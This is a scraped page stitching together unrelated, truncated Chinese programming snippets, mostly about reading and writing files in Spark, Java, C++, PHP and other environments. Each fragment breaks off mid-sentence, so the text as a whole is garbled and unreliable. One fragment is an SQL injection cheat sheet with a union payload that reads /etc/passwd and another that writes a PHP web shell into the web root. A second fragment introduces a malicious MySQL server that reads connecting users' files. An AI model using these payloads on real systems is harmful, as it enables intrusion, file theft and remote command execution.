今天主要来谈谈如何将Spark计算的结果写入到Mysql或者其他的关系型数据库里面.其实方式也很简单,代码如下: package scala import java.sql.{DriverManager, PreparedStatement, Connection} import org.apache.spark.{SparkContext, SparkConf} object RDDtoMysql { case class Blog(name: String, count: Int) def

spark 2.1.1 spark初始化rdd的时候,需要读取文件,通常是hdfs文件,在读文件的时候可以指定最小partition数量,这里只是建议的数量,实际可能比这个要大(比如文件特别多或者特别大时),也可能比这个要小(比如文件只有一个而且很小时),如果没有指定最小partition数量,初始化完成的rdd默认有多少个partition是怎样决定的呢? 以SparkContext.textfile为例来看下代码: org.apache.spark.SparkContext /** * Re

不多说,直接上干货! 有时候,我们需要用到这样的一个场景. ReadLocalFile1WriteLocalFile2.java (以下是相当于复制,读取文件1里的全部内容,并写入到文件2里) package zhouls.bigdata.DataFeatureSelection.util; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import jav

Spark数据分区调研 Spark以textFile方式读取文件源码 textFile方法位于 spark-core_2.11/org.apache.spark.api.java/JavaSparkContent.scala 参数分析: path       :String是一个URI,可以是HDFS.本地文件.或者其他Hadoop支持的文件系统 minPartitions:用于指定分区数,具体代码如下, 其中,defaultParallelism对应的就是spark.default.paral

在C++中与读取文件和写入文件简单操作有关的类分别有ifstream(文件读入).ofstream(文件写出).fstream (文件读入和写出). 名称 作用 ifstream 文件读入 ofstream 文件写出 fstream 文件读入和写出 对于文件操作操作输入输出类中具有一个open的函数用来打开文件使用的.其原型为: void open(const char* filename,int mode,int access); 其中各个参数的含义如下表: 参数 作用 filename 需要

spark默认读取的是hdfs上的文件. 如果读取本地文件,则需要加file:///usr/local/spark/README.md. (测试时候发现,本地文件必须在spark的安装路径内部或者平行) 读取hdfs文件, 可以这样指定路径 hdfs://ns1/tmp/test.txt. 如果不指定任何前缀,则使用hdfs的默认路径/user/data/ 启动spark-shell: 由于已经在spark-defaults.conf中指定了spark.master,所以启动时默认以standa

package com.grady import org.apache.spark.SparkConf import org.apache.spark.sql.{DataFrame, Row, SparkSession} object HiveTableToTable { def main(args: Array[String]): Unit = { val conf: SparkConf = new SparkConf().setAppName("StuToStu2") val sp

package jsoup;import java.io.File;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.MalformedURLException;import java.net.URL;import

1 RDD编程实战案例一 数据样例 字段说明: 其中cid中1代表手机,2代表家具,3代表服装 1.1 计算订单分类成交金额 需求:在给定的订单数据,根据订单的分类ID进行聚合,然后管理订单分类名称,统计出某一天商品各个分类的成交金额,并保存至Mysql中 (1)法一,将json数据解析出来,直接使用 object IncomeKpi { private val logger: Logger = LoggerFactory.getLogger(IncomeKpi.getClass) def ma

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

前言 注:本文不涉及对MySQL协议报文研究,仅讲解原理,并且做部分演示. 搭建MySQL恶意服务器读取文件这件事,虽然直接利用门槛较高,但是由于在网上看到了一种比较新颖的利用方式(利用社会工程学引诱用户连接MySQL进而读取用户文件),个人觉得比较有意思,总结了一下攻击原理以及攻击方式,因此就有了这篇文章. 原理 在阐述具体原理之前,先介绍几个SQL语句,以便后文理解 首先在tmp目录下新建一个tmp.txt 内容如下: 然后执行下方SQL语句,即可将tmp.txt文件导入其中 mysql>

两个函数如下: TextToFile(..)函数:将字符串写入给定文本文件: createDir(..)函数:创建一个文件夹,有判别是否存在的功能. public void TextToFile(final String strFilename, final String strBuffer) { try { // 创建文件对象 File fileText = new File(strFilename); // 向文件写入对象写入信息 FileWriter fileWriter = new Fi

需求:已知s.txt文件中有这样的一个字符串:“hcexfgijkamdnoqrzstuvwybpl” 请编写程序读取数据内容,把数据排序后写入ss.txt中. 分析: A:读取文件中的数据 B:把数据存在一个字符串中 C:把字符串转换成字符串数组 D:对字符串数组进行排序 E:数组转换成字符串 F:把字符串写入文件中 public static void main(String[] args) throws IOException { // 读取文件中的数据 字符缓冲输入流 BufferedR

最近我发现我从文本文档中读取文件处理后再存入新文本文档后,只要是有中文的都显示乱码了~~当我把中文去掉后一切又都正常了,而在我处理过程中,很确定没有对中文进行处理.使用记事本打开发现没有乱码现象,但是在VC里显示是乱码,而且原来可以运行的也不能运行了,去掉中文后一切正常. 参考网上的一些资料发现: 操作系统默认编码是大多是ANSI(具体有不同),txt记事本打开文件时默认以系统默认的缺省编码方式打开(中文为GB2312),所以在记事本中打开时显示正常.而VS打开以及新建文件使用的是UTF8编码.

尾大不掉,前阵子做检索测试时,总是因为需要业务端操作db和一些其他服务,这就使得检索测试对环境和数据依赖性特别高,极大提高了测试成本. Mock服务和mysql可以很好的解决这个问题,所以那阵子做了两个工作: 1 使用公司的service框架Mock服务: 2 使用python语言Mock mysql数据. 部分1只需要了解公司框架即可进行编写,本文主要记录下python操作mysql的部分. 一 安装环境 安装python即需要的MySQLdb模块(yum install MySQL-pyth

打开文件:fopen:fopen(filename,mode);//fopen("test.txt","r"): 打开模式:r  仅仅读方式打开,将文件指针指向文件头                 r+  读写方式打开,将文件指针指向文件头                 w  写入方式,指向文件头,假设不存在则尝试创建                 w+ 读写方式,指向文件头,假设不存在则尝试创建                 a  写入方式打开,指向文件末

NSBundle和NSURL的区别: 在项目的工程中添加一个文件,本例程添加的是aa.txt,文件的内容为百度: www.baidu.com,现在要使用NSBundle和NSURL分别去获取内容,代码如下: // 读取文件内容 // 方法1:按照文件路径读取 NSString *pathBundle = [[NSBundle mainBundle]pathForResource:@"aa" ofType:@"txt"]; NSString *outstringbun

最近用spark在集群上验证一个算法的问题,数据量大概是一天P级的,使用hiveContext查询之后再调用算法进行读取效果很慢,大概需要二十多个小时,一个查询将近半个小时,代码大概如下: try: sql = """ select ltescrsrq, mr_ltencrsrq1, mr_ltencrsrq2, mr_ltencrsrq3, ltescrsrp, mr_ltencrsrp1, mr_ltencrsrp2, mr_ltencrsrp3, mr_ltesctad

下面是对此知识的系统介绍(转自互联网): Javascript 是网页制作中离不开的脚本语言,依靠它,一个网页的内容才生动活泼.富有朝气.但也许你还没有发现并应用它的一些更高级的功能吧?比如,对文件和文件夹进 行读.写和删除,就象在VB.VC等高级语言中经常做的工作一样.怎么样,你是否需要了解这方面的知识?那就请跟我来,本文将详细描述如何使用 Javascript语言进行文件操作. 一.功能实现核心:FileSystemObject 对象 其实,要在Javascript中实现文件操作功能,主要就

import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; public class FileCopy { /** * java:从指定文件中读取80个字节并写入到新的文件中 */ public static void main(String srgs[]) { File inputFile = new File("src\\input.txt"); // src下面的文件i

正如上面的内容中所提到的,文件保存选取器用于保存文件,通过Windows.Storage.Pickers命名空间中的FileSavePicker类的pickSaveFileAsync函数可以向指定的文件系统位置中保存一个文件.文件保存之后,还可以对其进行读写操作,如果是向文件中写入内容,可以使用Windows.Storage.FileIO类中的writeTextAsync(file, contents)函数或appendTextAsync(file,contents)函数来实现,参数file表示